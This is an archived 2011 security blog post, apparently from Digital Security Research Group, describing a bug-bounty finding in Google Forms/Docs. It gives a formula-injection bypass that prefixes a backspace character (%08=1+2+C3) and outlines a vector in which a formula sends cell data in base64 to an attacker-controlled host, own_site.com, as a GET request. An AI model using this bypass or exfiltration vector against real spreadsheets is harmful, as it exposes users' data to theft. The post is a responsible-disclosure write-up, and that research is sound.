

Digital Security Research Group: Excel formula injection in Google Docs

Digital Security Research Group: Excel formula injection in Google Docs - @_chipik, @asintsov, dsecrg.blogspot.com.

- Published: date not stated
- Original: <<https://dsecrg.blogspot.com/2011/12/excel-formula-injection-in-google-docs.html>>
- Preserved from: <https://dsecrg.blogspot.com/2011/12/excel-formula-injection-in-google-docs.html> (stored) on 2026-08-09
- Capture timestamp: 20120530173011
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Surely all of you know about [Google reward program](#) for information security researchers who provide information about weak spots of Google resources. We had the chance to participate in this program, too. Here is a short story from [@_chipik](#) and [@asintsov](#).

One day we needed to conduct a small survey, and we decided to use Google Docs as platform for the survey. There is an object in Google Docs called Google Forms, and, as obvious from the name, it is used to create various surveys and tests forms.



After a form is created, its URL is published on the Internet or sent to people who are to participate in the survey. This is how the form looks for a participant:



And this is how the author sees the participant's answers:



I suppose that any web researcher upon seeing a form instinctively puts ',",> and other interesting symbols here? We tried it, too. However, everything was encoded and filtered exactly as planned. Well... But all of user input is inserted into an Excel table, so why don't we try to inject some formula? Excel formulas start with an "=". OK, let's give it a try.



Fail. Cunning Google puts a space symbol before the "=" so that the formula is taken for a simple text cell. So how do we get rid of the space? Easy as pie: use backspace :) %08 is the Hex code of the backspace key.



Thus, we wrote in the entry field: %08=1+2+C3

Voila!



The formula got inserted into the table just fine. All we had to do now was devise an interesting and practical vector for this particular injection. Google Functions helped us here.



With the help of Google Functions it was possible to execute a request to any domain so that the request results got inserted into a specified cell.

That gave us the following attack vector:

1. Put sensitive user data into A1 cell (or probably they are already there)
2. Put a formula which makes GET request to `http://own_site.com/secret_data_in_base64` into Z666 cell.
3. Read web server logs, get data from cells.
4. Profit!

Soon after describing the bug and the possible attack vector we got the following letter:



And a bit later we saw our names in [Google Hall of Fame](#)



Finally, a little Google Hack ;)

